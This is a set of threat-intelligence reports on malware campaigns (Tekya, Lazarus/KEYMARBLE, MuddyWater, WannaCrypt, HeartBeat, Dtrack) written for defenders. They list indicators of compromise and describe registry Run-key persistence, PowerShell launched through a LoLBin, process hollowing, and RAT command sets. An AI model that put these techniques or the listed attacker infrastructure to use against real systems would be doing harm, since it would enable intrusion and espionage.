969ef4a64203ba2ab54a6822559600cc - Yuna.Downloader.DLL.Core: 56836b19b5c35c81e006f4843ff63e51 - Mango.Sync.Updater: 3a1780e6fb6250b0fb63d2884788670e - Mango.Sync.Updater: 4d72e573d9c4d31371c8020ba7179daf - VPN spoofing DLL: 193d192ed0cec2487d18b13aedc94cb6 - rascustoms.dll: 2bd3b84b318beb5714cac9194078607a **Domains** - apps.imangolm[.]com - archivess.imangoim[.]net **PDB paths** - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Downloader\obj\Release\Yuna.Downloader.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Launcher\obj\Release\Yuna.Launcher.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.ClipboardRecorder\obj\Release\Yuna.Plugin.ClipboardRecorder.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.General\obj\Release\Yuna.Plugin.General.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.Installer\obj\Release\Yuna.Plugin.Installer.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.CodeLauncher\obj\Release\VpnSohDesktop.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.Downloader\obj\Release\Yuna.PuppetLoader.Downloader.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.Guard\obj\Release\Yuna.PuppetLoader.Guard.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.ProcessLoader\obj\Release\Yuna.PuppetLoader.ProcessLoader.pdb
# New Tekya Ad Fraud Found on Google Play In late March, researchers from CheckPoint found the Tekya malware family, which was being used to carry out ad fraud, on Google Play. These apps have since been removed from the store, but we recently found a variant of this family that had made its way onto Google Play via five malicious apps, although these have also been removed. (We detect these as AndroidOS_Tekya.HRX.) ## Connections between two versions This variant of Tekya shares many similarities with the previously found version. For example, the encryption remains essentially identical. The same algorithms and keys are used in both versions. ## How this Tekya variant works The malware registered a receiver that responds to the actions “com.tenjin.RECEIVE” or “android.intent.action.BOOT_COMPLETED”. The latter action gives the malware the ability to wake after the device boots. The functionality of the receiver is implemented in libtenjin.so. Once called, it would then call a method which hides itself in a common package — specifically, com/google/android/gms/internal/ads/. The method called is responsible for downloading a .dex file and loading it. In the case we were analyzing, the said file would be downloaded twelve hours after the malware was installed. The downloaded file is encrypted; it is decrypted and loaded by libtenjin.so. Once the downloaded .dex file has been loaded, it would attempt to register itself with a configuration server. The information that is part of the registration includes device ID, user accounts, location, MAC address, and others. If the server did not reject the registration, an encrypted configuration file would be downloaded. This contains information about the ads to be loaded and control flags. (The blurred text contains information about the ad accounts potentially used by the attacker, which we have opted to remove.) The malware would do various checks, including time, control flags, and so on based on the downloaded configuration. If those checks passed, Tekya would hide itself. According to its code, Tekya would target up to 11 advertising networks, including Admob, Facebook, and Unity. Advertisements from these networks would be displayed, and user touch events imitated through InputManager. Tekya would try to trick victims into believing those advertisements were opened by other applications by changing its icon and label to that of another app on the device. We originally found several of these apps on Google Play, but Google removed these from the App Store while our research was underway. We are still watching for any similar threats that may emerge in the wild. ## Trend Micro solutions Users can install security solutions, such as Trend Micro™ Mobile Security, that can block malicious apps. End users can also benefit from their multilayered security capabilities that secure the device owner’s data and privacy, and features that protect them from ransomware, fraudulent websites, spyware, and identity theft. For organizations, the Trend Micro™ Mobile Security for Enterprise suite provides device, compliance and application management, data protection, and configuration provisioning. The suite also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability. ## Indicators of Compromise (IOCs) All of the malicious files below are detected as AndroidOS_Tekya.HRX. | Package name | SHA256 hash | |--------------------------------------|-----------------------------------------------------------------------------| | awakens.download.mp3pro | 35f9077b4774456526b088496413bd5559c293b7ae49da89c5b7b51132667879 | | com.waygame.hoppingcat | 359f581980faa4e27acf19a9bfae0214d6e92690bcbce0d19e9b0053200f6cd2 | | com.halfbrain.trafficjam | 114b8f6a345ee403487e79d4110fcd28e5a9b67ebe5821cd2f7a296d06ae1de2 | | com.halfbrain.petjumping | c4e00591e0eb947fded1ea925c3aa4e5e2f47a8adbfc096f174a84a2205bbf5a | | com.runninggame.squarefish | 0d58e04908a506adf06ec49e55227892d1abbe4ad245a822ff0dab15c774f2f4 | We observed a Tekya variant that had made its way onto Google Play via five malicious apps. Said apps were already removed from the Play Store.
# ATTACKS OF THE LAZARUS CYBERCRIMINAL GROUP ATTENDED TO ORGANIZATIONS IN RUSSIA **20 de febrero de 2019** Security investigators have concluded that the North Korean state-sponsored cybercriminal group, Lazarus, is conducting suspicious activities targeting companies based in Russia. This is based on the connections discovered between the tactics, techniques, and tools detected and the mode of operation of the group also known as Hidden Cobra. ## Affected Services - Microsoft Windows Operating Systems ## Technical details The Lazarus campaign targeting Russia uses malicious Office documents delivered as ZIP files, along with a PDF document called NDA_USA.pdf that contains a StarForce Technologies agreement, which is a Russian software company that provides copy protection software. The security community believes that Lazarus is divided into at least two subdivisions: the first called Andariel, which focuses on attacking the government and organizations of South Korea, and the second, Bluenoroff, whose main focus is monetization and campaigning. This incident represents an unusual choice of victim by the North Korean threat actor. Typically, these attacks reflect geopolitical tensions between the Democratic People's Republic of Korea (DPRK) and nations such as the United States, Japan, and South Korea. ## Infection chain The main infection flow consists of the following three main steps: 1. A ZIP file that contains two documents: a benign decoy PDF document and a malicious Word document with macros. 2. The malicious macro downloads a VBS script from a Dropbox URL, followed by the execution of the VBS script. 3. The VBS script downloads a CAB file from the server in the download zone, extracts the embedded EXE file (KEYMARBLE) with the Windows “expand.exe” utility, and finally executes it. ### KEYMARBLE This malware is a remote administration tool (RAT) that provides its operators with basic functionality to retrieve information from the victim's computer. Once executed, it performs several initializations, contacts a Command and Control (C&C) server, and waits indefinitely to receive new commands. Each command received is processed by the backdoor and is handled within an appropriate function, which in turn collects information or performs an action on the target computer. ## Commitment Indicators (IoC) **IP** - 194.45.8.41 - 37.238.135.70 **Hashes** - MD5: dc3fff0873c3e8e853f6c5e01aa94fcf - SHA256: 1c4745c82fdcb9d05e210eff346d7bee2f087357b17bfcf7c2038c854f0dee61 - MD5: 704d491c155aad996f16377a35732cb4 - SHA256: e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 - MD5: 2b68360b0d4e26d2b5f7698fe324b87d - SHA256: 49a23160ba2af4fba0186512783482918b07a32b0e809de0336ba723636ae3b6 - MD5: a7be38e8f84c5ad9cce30d009dc31d32 - SHA256: f4bdf0f967330f9704b01cc962137a70596822b8319d3b35404eafc9c6d2efe7 - MD5: 7646d1fa1de852bb99c621f5e9927221 - SHA256: 9894f6993cae186981ecb034899353a04f1a9b009bdf265cecda9595b725ee20 - MD5: 22d53ada23b2625265cdbddc8a599ee0 - SHA256: 8e099261929b1b09e9d637e8d054d5909b945b4157f29337977eb7f5fb835e5d ## Recommendations ### For information security personnel: - Maintain a strict update protocol for operating systems, antivirus, and all applications running on them. - Constantly raise awareness among users on issues related to computer security. - Restrict the ability (permissions) of users to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Block the commitment indicators (IOC) shown in the security devices of your infrastructure. **Before carrying out the blocking of IOCs, it is important that in the development environment it is previously validated and confirmed at the level of internal and external services, in order to apply the changes in a controlled manner.** ### For end users: - Verify the account information that sends you an email, the name and address of the recipient to identify if they are suspicious. - Do not open emails of doubtful origin (unknown sender), or click on links, or download unknown attachments. - If a spam or phishing email is detected, report it immediately to the information security officers of your institution. - Scan all software downloaded from the Internet before execution. - Visit secure web pages (https), and verify the digital certificate with a click on the status bar lock.
# Iranian APT MuddyWater Targets Turkish Users via Malicious PDFs, Executables By Asheer Malhotra and Vitor Ventura Cisco Talos has observed a new campaign targeting Turkish private organizations alongside governmental institutions. Talos attributes this campaign with high confidence to MuddyWater, an APT group recently attributed to Iran's Ministry of Intelligence and Security (MOIS) by the U.S. Cyber Command. This campaign utilizes malicious PDFs, XLS files, and Windows executables to deploy malicious PowerShell-based downloaders acting as initial footholds into the target's enterprise. MuddyWater's use of script-based components such as obfuscated PowerShell-based downloaders is also a tactic described in the advisory from January 2021 by the U.S. Cyber Command. This campaign also utilizes canary tokens to track successful infection of targets, a new addition to this group's arsenal of tactics, techniques, and procedures (TTPs). This specific method of taking advantage of canary tokens in this campaign may also be a measure to evade sandbox-based detection systems. A highly motivated threat actor such as MuddyWater can use unauthorized access to conduct espionage, intellectual property theft, and deploy ransomware and destructive malware in an enterprise. ## Executive Summary MuddyWater has conducted various campaigns against entities spread throughout the U.S.A, Europe, Middle East, and South Asia. A typical TTP employed by the group is the heavy use of scripting in their infection chains using languages like PowerShell and Visual Basic coupled with the frequent use of living-off-the-land binaries (LoLBins). Cisco Talos recently observed a campaign operated by MuddyWater targeting users in Turkey. This campaign consists of the use of malicious PDFs and Microsoft Office documents (maldocs) to serve as the initial infection vector. These maldocs were named in such a way as to masquerade as legitimate documents from the Turkish Health and Interior Ministries. Next, the malware executes a series of scripts deployed on the infected endpoint to serve as downloaders and instrumentors for additional payloads. We've also discovered the use of flags or tokens in attacks conducted by this threat actor in this campaign. These tokens are meant to signal a successful infection of a target by the group's malicious artifacts. ### MuddyWater Threat Actor MuddyWater, also known as MERCURY or Static Kitten, is an APT group recently attributed to Iran's Ministry of Intelligence and Security (MOIS) by U.S. Cyber Command. This threat actor, active since at least 2017, frequently conducts campaigns against high-value targets in American, European, and Asian countries. Campaigns carried out by the threat actor aim to achieve either of three outcomes: - **Espionage**: Supporting the political dominance of the nation-state in the Middle East. This is business as usual for the threat actor, motivated by nation-state interests. - **Intellectual Property Theft**: Enables economic advantages to the nation-state. This goal is accomplished by carrying out aggressive campaigns against private entities and government-affiliated institutions such as universities and research entities. - **Ransomware Attacks**: MuddyWater has previously attempted to deploy ransomware such as Thanos on victim networks to either destroy evidence of their intrusions or disrupt operations of private organizations. This group frequently relies on the use of DNS as part of their means to contact the command and control (C2), while the initial contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell and Visual Basic scripting along with LoLBins to assist in the initial stages of the infection. ### Campaign Targeting Turkey Talos recently observed a campaign operating as recently as November 2021, which we attribute with high confidence to the MuddyWater group, targeting Turkish government entities, including the Scientific and Technological Research Council of Turkey — Tubitak. This campaign consisted of the use of malicious Excel documents (XLS maldocs) and executables stored on a file hosting domain "snapfile.org," which would be delivered to the victims in the form of PDF documents with embedded links. These maldocs, hosted on attacker-controlled or public media-sharing websites, are downloaded by malicious PDFs meant to trick the targets into downloading and opening the maldocs. Based on historic evidence of similar campaigns conducted by MuddyWater, it is highly likely that these PDFs served as the initial entry points to the attacks and were distributed via email messages as part of spear-phishing efforts conducted by the group. ### Malicious Excel Sheets Analyses Talos identified a set of malicious Microsoft Excel spreadsheet files distributed with Turkish language names. Some of these files were named to masquerade as legitimate documents from the Turkish Health and Interior Ministries. Another file discovered was called "Teklif_form_onaylı.xls," which can be translated to "Offer_form_approved.xls" from Turkish. Analysis of the maldocs deployed in this campaign demonstrates a clear evolution of their implementation culminating into versions that are fully obfuscated. The documents have some subtle changes — almost like different versions — were being tested. Older documents had some information in the document's metadata, such as the title field "Sayyid" and author name "Aurelia." These initial versions also consisted of an unobfuscated PowerShell payload in the document's comments fields. Subsequent iterations of the maldocs saw progressive obfuscation of various malicious code blocks. Now, the maldocs consist of malicious VBA macros meant to instrument the infection chain. Overall, the macro contained in all the maldocs accomplished the same set of functionalities without any major evolutions. ### Persistence The infection chain instrumented by the VBA macros consists of creating three key artifacts on the infected endpoint: - Registry key for persistence. - Malicious VB script intermediate component that the macro sets up for persistence. - Malicious PowerShell-based downloader script: The actual post-infection, payload instrumentor used for executing arbitrary code on the infected endpoint. The VB script's persistence is set up by creating a malicious Registry Run for the infected user: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run | <random>`. This campaign relies on the use of a LoLBin to execute the malicious VBScript. In some instances, the attackers make use of a LoLBin DLL called `pcwutl.dll`, which is part of the operating system, to execute the VBScript on reboot or re-login. Although the usage of LoLBins is fairly common as a means of lateral movement, it is not commonly used to execute the malicious payload. ### Tracking Tokens As the maldocs were evolving, some of the metadata details were removed or generalized, and eventually, the latest versions consisted of obfuscated PowerShell payloads residing in the comments field. The malicious VBA macros consisted of the same set of functionalities for creating the malicious VBS and PS1 scripts, and achieving persistence across reboots. However, there was one interesting addition to the macro functionality now. The latest versions of the VBA code deployed could make HTTP requests to a canary token from canarytokens.com. Canary tokens are tokens that can be embedded in objects like documents, web pages, and emails. When that object is opened, an HTTP request to canarytokens.com is generated, alerting the token's owner that the object was opened. The canary token is typically silently executed twice during the execution of the macro. In cooperation with Canarytokens.com, a list of other tokens created by the same user was added to the IOC section below. An attacker may use such tokens to serve one or more purposes such as: - **Tracking Tokens**: A way of tracking who is detonating the malicious code, keeping track of successful infections. - **Anti-analysis Method**: In this campaign, the server that hosts the final payload may only deliver if it first receives two almost simultaneous requests to the token. This would thwart researchers that solely request the payload from the server without registering with the canary tokens using an HTTP request. - **Timing Checks**: The infection chain consists of a PS1-based downloader and two sets of HTTP requests for the canary tokens. A reasonable timing check on the duration between the token requests and the request to download a payload can indicate automated analysis. Automated sandboxed systems would typically execute the malicious macro generating the token requests. A sandbox would also identify the creation of the registry Run key and re-login the infected user to execute the malicious PS1 that generates the request to download the next payload. Typically, since sandbox-based analysis systems spin up analysis environments for a limited number of minutes, the token requests and payload requests wouldn't be too far apart from each other temporally. A substantially low interval between the HTTP token requests and PS1 requesting the payload may indicate automated analysis of the maldocs and can be used to block payload requests from the infected endpoint. - **Detecting Payload Server Blocking**: If they keep receiving requests to the token but not to the payload server, that is an indication of their payload server being blocked, and by whom. ### Intermediate VB Script Component (VBS) The VBS file is a straightforward executor of the PowerShell script dropped by the macro to disk. ### Malicious PowerShell-based Downloader The PowerShell script deployed in the attack is meant to download and execute the next payload (also a PS1 script) on the infected endpoint. This PS1 script resides in the metadata of the maldoc and is dropped by the macro. Primitive versions of the maldocs consisted of unobfuscated versions of the PS1 script, with obfuscations being introduced in newer versions. The PowerShell script that downloads another PowerShell from a remote location which will then be executed. It tries twice, with a custom timeout of 40 seconds and a custom user agent, which is appended with the character "|" separator and the username executing the script. In other versions of the script, the "|" character is not appended. The fact that the downloader script attempts the download of the payload twice with a big timeout further indicates that the canarytokens serve the purpose of anti-analysis. That is, the C2 may need more time to check if the canarytokens have been accessed before it delivers the final payload. We could not obtain the final payload, but our tests indicate that there was some kind of verification process being performed prior to the delivery of the payload. ### Infection Chain The delivery mechanism for this campaign is the distribution of PDF files containing embedded links. Talos found at least two PDF files which shared the same author name, "nejla," in the metadata. The PDF files typically show an error message and ask the user to click on a link to resolve the issue and display the correct format/extension of the document. Once the victim clicks on the download button, the endpoint receives a second stage, which can be either a malicious XLS file or a Windows executable that proceeds with the infection as described earlier. The maldoc-based infection chain is as follows: - **Malicious Executables-based Infection Chain**: The initial delivery mechanism of the infection chains consists of the malicious PDF files as the first stage. The URLs corresponding to the download button in the PDF files will typically host the malicious XLS files containing the macros that deploy the subsequent VBS and PS1 scripts. We have, however, recently observed a variation of this infection chain. This second variation consists of the PDF pointing to a URL that delivers a Windows executable (EXE) in the infection chain instead of the malicious XLS files. The EXEs are meant to instrument a similar infection chain consisting of the intermediate VBS and final PS1-based downloaders. The EXEs typically use a Turkish name indicating that they can either be delivered via the malicious PDFs or distributed independently. One example of an executable was named "Surec_No_cc2021-pdf377811f-66ad-4397-bd35-3247101e2fda-eta332018.exe," which can be translated from Turkish as "Period_No_<...>32018.exe." Once executed, the sample drops a text file in the victim's temporary folder. This is actually a decoy PDF or Office document in hex format. During execution, the hex representation of the decoy document is hexlified to create a readable copy in the %temp% folder. The decoy will then be opened by the system PDF or document reader and displayed to the victim. Once the decoy document has been displayed to the victim, the executable starts its main malicious task: downloading and executing malicious PowerShell scripts served to it by a remote location. Here, we see that the intermediate VBS scripts used in the maldoc-based infection chain have been replaced with a PowerShell-based implementation. The implant will first create a directory in the user's home folder. This directory will be used to store two PowerShell scripts: - Instrumentor script used to activate the next stage from disk called ".CloudCache.conf." - Downloader script used to download the next stage from a remote location for execution on the endpoint called ".CloudDrive.conf." Just like maldoc-based infections, a registry key is created at `HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN | <Some Application Name>` for persistence. For example: `HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN | CloudDrive.` The registry Run key takes advantage of lolbins to run the payload. In this case, it uses `SyncAppvPublishingServer.vbs` to execute PowerShell code, which will execute the code stored in the instrumentor script (".CloudCache.conf"). The instrumentor script is responsible for base64 decoding the contents of the downloader (the second PS1 script) and executing it on the endpoint. ### Conclusion Talos has observed Iranian-related groups carry out malicious campaigns all over the world in recent years. 2021 was also prolific in cybersecurity incidents targeting Iranian state-run organizations. These events were attributed to Western nations by the Iranian regime, with the promise of revenge. It's hard to say if these campaigns are the result of such promises or just part of MuddyWater's usual activity. However, the fact that the threat actors have changed some of their methods of operation and tools is another sign of their adaptability and unwillingness to refrain from attacking other nations. In this post, we have shown the same group running two different campaigns using different tools while targeting the same country, in this case Turkey, showing their capacity and motivation to compromise their targets and perform their espionage activities. In-depth defense strategies based on a risk analysis approach can deliver the best results in prevention. However, this should always be complemented by a good incident response plan which has been not only tested with tabletop exercises and reviewed and improved every time it's put to the test on real engagements.
# WannaCrypt Ransomware Worm Targets Out-of-Date Systems On May 12, 2017, we detected a new ransomware that spreads like a worm by leveraging vulnerabilities that have been previously fixed. While security updates are automatically applied in most computers, some users and enterprises may delay deployment of patches. Unfortunately, the ransomware, known as WannaCrypt, appears to have affected computers that have not applied the patch for these vulnerabilities. While the attack is unfolding, we remind users to install MS17-010 if they have not already done so. The trend towards increasingly sophisticated malware behavior, highlighted by the use of exploits and other attack vectors, makes older platforms so much more susceptible to ransomware attacks. From June to November 2017, Windows 7 devices were 3.4 times more likely to encounter ransomware compared to Windows 10 devices. Microsoft antimalware telemetry immediately picked up signs of this campaign. Our expert systems gave us visibility and context into this new attack as it happened, allowing Windows Defender Advanced Threat Protection (ATP) to deliver real-time defense. Through automated analysis, machine learning, and predictive modeling, we were able to rapidly protect against this malware. In this blog, we provide an early analysis of the end-to-end ransomware attack. Please note this threat is still under investigation. The attack is still active, and there is a possibility that the attacker will attempt to react to our detection response. ## Attack Vector Ransomware threats do not typically spread rapidly. Threats like WannaCrypt (also known as WannaCry, WanaCrypt0r, WCrypt, or WCRY) usually leverage social engineering or email as primary attack vectors, relying on users downloading and executing a malicious payload. However, in this unique case, the ransomware perpetrators used publicly available exploit code for the patched SMB “EternalBlue” vulnerability, CVE-2017-0145, which can be triggered by sending a specially crafted packet to a targeted SMBv1 server. This vulnerability was fixed in security bulletin MS17-010, which was released on March 14, 2017. WannaCrypt’s spreading mechanism is borrowed from well-known public SMB exploits, which armed this regular ransomware with worm-like functionalities, creating an entry vector for machines still unpatched even after the fix had become available. The exploit code used by WannaCrypt was designed to work only against unpatched Windows 7 and Windows Server 2008 (or earlier OS) systems, so Windows 10 PCs are not affected by this attack. We haven’t found evidence of the exact initial entry vector used by this threat, but there are two scenarios that we believe are highly possible explanations for the spread of this ransomware: - Arrival through social engineering emails designed to trick users to run the malware and activate the worm-spreading functionality with the SMB exploit. - Infection through SMB exploit when an unpatched computer is addressable from other infected machines. ## Dropper The threat arrives as a dropper Trojan that has the following two components: 1. A component that attempts to exploit the SMB CVE-2017-0145 vulnerability in other computers. 2. The ransomware known as WannaCrypt. The dropper tries to connect to specific domains. If the connection to the domains is successful, the dropper does not infect the system further with ransomware or try to exploit other systems to spread; it simply stops execution. However, if the connection fails, the threat proceeds to drop the ransomware and creates a service on the system. The threat creates a service named `mssecsvc2.0`, whose function is to exploit the SMB vulnerability in other computers accessible from the infected system: - **Service Name:** mssecsvc2.0 - **Service Description:** Microsoft Security Center (2.0) Service - **Service Parameters:** “-m security” ## WannaCrypt Ransomware The ransomware component is a dropper that contains a password-protected .zip archive in its resource section. The document encryption routine and the files in the .zip archive contain support tools, a decryption tool, and the ransom message. In the samples we analyzed, the password for the .zip archive is “WNcry@2ol7”. When run, WannaCrypt creates the following registry keys: - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<random string> = "<malware working directory>\tasksche.exe"` - `HKLM\SOFTWARE\WanaCrypt0r\wd = "<malware working directory>"` It changes the wallpaper to a ransom message by modifying the following registry key: - `HKCU\Control Panel\Desktop\Wallpaper: "<malware working directory>\@[email protected]"` It creates various files in the malware’s working directory, including: - `00000000.eky` - `00000000.pky` - `@[email protected]` - `@[email protected]` - `@[email protected]` WannaCrypt may also create files in various directories and may create a randomly named service that has the following associated ImagePath: `cmd.exe /c "<malware working directory>\tasksche.exe"`. It then searches the whole computer for any file with specific file name extensions and encrypts all files it finds, renaming them by appending `.WNCRY` to the file name. This ransomware also creates the file `@[email protected]` in every folder where files are encrypted, containing the same ransom message shown in the replaced wallpaper image. After completing the encryption process, the malware deletes the volume shadow copies by running a series of commands. It then replaces the desktop background image with a ransom message and runs an executable showing a ransom note which indicates a $300 ransom in Bitcoins as well as a timer. The text is localized into multiple languages, and the ransomware demonstrates the decryption capability by allowing the user to decrypt a few random files, free of charge, before reminding the user to pay the ransom to decrypt all the remaining files. ## Spreading Capability The worm functionality attempts to infect unpatched Windows machines in the local network while executing massive scanning on Internet IP addresses to find and infect other vulnerable computers. This activity results in large SMB traffic from the infected host. The Internet scanning routine randomly generates octets to form the IPv4 address. The malware then targets that IP to attempt to exploit CVE-2017-0145. The threat avoids infecting the IPv4 address if the randomly generated value for the first octet is 127 or if the value is equal to or greater than 224, in order to skip local loopback interfaces. Once a vulnerable machine is found and infected, it becomes the next hop to infect other machines, continuing the vicious infection cycle. ## Protection Against the WannaCrypt Attack To get the latest protection from Microsoft, upgrade to Windows 10. Keeping your computers up-to-date gives you the benefits of the latest features and proactive mitigations built into the latest versions of Windows. We recommend customers that have not yet installed the security update MS17-010 do so as soon as possible. Until you can apply the patch, we also recommend two possible workarounds to reduce the attack surface: - Disable SMBv1 with the steps documented at Microsoft Knowledge Base Article 2696547. - Consider adding a rule on your router or firewall to block incoming SMB traffic on port 445. Windows Defender Antivirus detects this threat as Ransom:Win32/WannaCrypt. For enterprises, use Device Guard to lock down devices and provide kernel-level virtualization-based security, allowing only trusted applications to run, effectively preventing malware from running. Use Office 365 Advanced Threat Protection, which has machine learning capability that blocks dangerous email threats, such as the emails carrying ransomware. Monitor networks with Windows Defender Advanced Threat Protection, which alerts security operations teams about suspicious activities.
# The HeartBeat APT Campaign ## Introduction This paper exposes a targeted attack called “HeartBeat,” which has been persistently pursuing the South Korean government and related organizations since 2009. This paper will discuss how their specifically crafted campaigns infiltrate their targets. Compared to most advanced persistent threat (APT) campaigns with diverse targeted industries, the HeartBeat campaign is an isolated case. Furthermore, we will examine their attack methodologies which include their attack vector, the remote administration tool (RAT) component, and command-and-control servers. Finally, we will discuss how this information can be useful in developing defensive strategies in protecting organizations as well as predicting future targets. ## Campaign Targets The HeartBeat campaign appears to target government organizations and institutions or communities that are in some way related to the South Korean government. Specifically, we were able to identify the following targets: - Political parties - Media outfits - A national policy research institute - A military branch of South Korean armed forces - A small business sector organization - Branches of South Korean government The profile of their targets suggests that the motive behind the campaign may be politically motivated. ## Attack Vector The first HeartBeat campaign remote access tool (RAT) component was discovered in June 2012 in a Korean newspaper company network. Further investigation revealed that the campaign has been actively distributing their RAT component to their targets in 2011 and the first half of 2012. In order to gain control over targets' systems, HeartBeat perpetrators install a RAT in prospective victims’ systems. This RAT arrives as a disguised or fake document which is actually a bundled file. The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. Once it runs, the decoy document is displayed to the user while the RAT unknowingly executes in the background. It is unclear how these packaged files specifically arrive on victims’ systems, but we highly suspect that spearphishing emails containing these packaged malware were primarily used to distribute them. ## Infection Flow Once users open the packaged malicious file, the actual document is displayed to the user while a RAT installer in .EXE format runs in the background. The RAT installer drops a .DLL file that is then injected to the legitimate process svchost.exe. The injected code in svchost.exe then connects to the malware command and control (C&C) server to register infection and wait for remote commands. ## The RAT Component The RAT installer in turn drops a .DLL component which contains the backdoor capabilities. In order to stay hidden, the .DLL uses file names similar to legitimate applications. The HeartBeat campaign’s RAT component allows attackers to remotely execute the following commands on affected hosts: - List running processes and their respective process IDs - Download and execute file(s) - Update itself - Uninstall itself - Create or terminate a process - List available removable and fixed drives - List existing files and their creation date/time - Upload file(s) - Delete file(s) - Get the file creation date/time of a specific file - Open a remote command shell access - Reboot the system These commands give the attackers complete control over their victims’ systems. Attackers also have the option to uninstall the RAT any time to cover their tracks and avoid being discovered. ## C&C Communication Once the RAT’s .DLL component has been injected to svchost.exe, the malware attempts to register itself to the C&C server by sending information from the affected system, including: - Computer name - Local IP address - Service pack The RAT’s C&C communication is encrypted with XOR encryption using a single byte key, 02H. The data being transferred and received by the RAT C&C are 800H (2,048 bytes) in size. ## HeartBeat Campaign Codes and Decoy Documents The campaign codes and decoy documents used by the HeartBeat attackers provided valuable insights on their campaigns. The majority of their campaign codes included number combinations which represented the month and date in MMDD format when the attack attempt was executed. The decoy documents’ contents were also very specific to their targets. For example, some of these documents included logos of specific groups. This information helped us identify their targeted organizations and communities in their previous campaigns. ## Conclusion The HeartBeat campaign represents a sophisticated and targeted approach to cyberattacks, focusing on specific organizations and communities. Understanding the methodologies and tactics used in such campaigns is crucial for developing effective defensive strategies against future threats.
# Hello! My name is Dtrack **Authors** Konstantin Zykov Our investigation into the Dtrack RAT actually began with a different activity. In the late summer of 2018, we discovered ATMDtrack, a piece of banking malware targeting Indian banks. Further analysis showed that the malware was designed to be planted on the victim’s ATMs, where it could read and store the data of cards that were inserted into the machines. Naturally, we wanted to know more about that ATM malware, so we used YARA and Kaspersky Attribution Engine to uncover more interesting material: over 180 new malware samples of a spy tool that we now call Dtrack. All the Dtrack samples we initially found were dropped samples, as the real payload was encrypted with various droppers — we were able to find them because of the unique sequences shared by ATMDtrack and the Dtrack memory dumps. After that, it got very interesting, because once we decrypted the final payload and used Kaspersky Attribution Engine again, we saw similarities with the DarkSeoul campaign, dating back to 2013 and attributed to the Lazarus group. It seems that they reused part of their old code to attack the financial sector and research centers in India. According to our telemetry, the last activity of DTrack was detected in the beginning of September 2019. ## Technical details The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable. In some cases, it was the default Visual Studio MFC project, but it could be any other program. The decrypted overlay data contains the following artifacts: - an extra executable; - process hollowing shellcode; - a list of predefined executable names, which the malware uses as a future process name. After decryption of the data, the process hollowing code is started, taking the name of the process to be hollowed as an argument. The name comes from the predefined list found within the decrypted overlay. All the names come from the %SYSTEM32% folder, as you can see in the decrypted file list below. - fontview.exe - dwwin.exe - wextract.exe - runonce.exe - grpconv.exe - msiexec.exe - rasautou.exe - rasphone.exe - extrac32.exe - mobsync.exe - verclsid.exe - ctfmon.exe - charmap.exe - write.exe - sethc.exe - control.exe - presentationhost.exe - napstat.exe - systray.exe - mstsc.exe - cleanmgr.exe ## What is inside the dropper? After execution, the target of the process hollowing is suspended until its memory is overwritten with the decrypted executable payload from the dropper overlay. After this, the target process resumes. The droppers contain a variety of executables, all of these intended for spying on the victim. Below is an incomplete functionality list for the various Dtrack payload executables found: - keylogging, - retrieving browser history, - gathering host IP addresses, information about available networks and active connections, - listing all running processes, - listing all files on all available disk volumes. At this point, the design philosophy of the framework becomes a bit unclear. Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&C server directly. Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc. For a full list of operations, see the table below. | command id | description | |------------|-------------| | 1003 | upload a file to the victim’s computer | | 1005 | make target file persistent with auto execution on the victim’s host start | | 1006 | download a file from the victim’s computer | | 1007 | dump all disk volume data and upload it to a host controlled by criminals | | 1008 | dump a chosen disk volume and upload it to a host controlled by criminals | | 1011 | dump a chosen folder and upload it to a host controlled by criminals | | 1018 | set a new interval timeout value between new command checks | | 1023 | exit and remove the persistence and the binary itself | | default | execute a process on the victim’s host | ## Dtrack and ATMDTrack malware similarities ATMDTrack is a subset of the DTrack family. They naturally look different despite their similarities. For example, Dtrack’s payload is encrypted within a dropper—unlike the ATMDTrack samples, which were not encrypted at all. But after decrypting the Dtrack payload, it becomes clear that the developers are the same group of people: both projects have the same style and use the same implemented functions. The most obvious function they have in common is the string manipulation function. It checks if there is a CCS_ substring at the beginning of the parameter string, cuts it out and returns a modified one. Otherwise, it uses the first byte as an XOR argument and returns a decrypted string. ## Conclusions When we first discovered ATMDtrack, we thought we were just looking at another ATM malware family, because we see new ATM malware families appearing on a regular basis. However, this case proved once again that it is important to write proper YARA rules and have a solid working attribution engine, because this way you can uncover connections with malware families that have appeared in the past. One of the most memorable examples of this was the WannaCry attribution case. Now we can add another family to the Lazarus group’s arsenal: ATMDtrack and Dtrack. The vast amount of Dtrack samples that we were able to find shows that the Lazarus group is one of the most active APT groups in terms of malware development. They continue to develop malware at a fast pace and expand their operations. We first saw early samples of this malware family in 2013, when it hit Seoul. Now, six years later, we see them in India, attacking financial institutions and research centers. And once again, we see that this group uses similar tools to perform both financially-motivated and pure espionage attacks. To succeed in spying, the criminals should be able to gain at least partial control over the internal network. This means that the target organizations may have a number of security issues, such as: - weak network security policies, - weak password policies, - lack of traffic monitoring. We therefore advise the companies to: - tighten 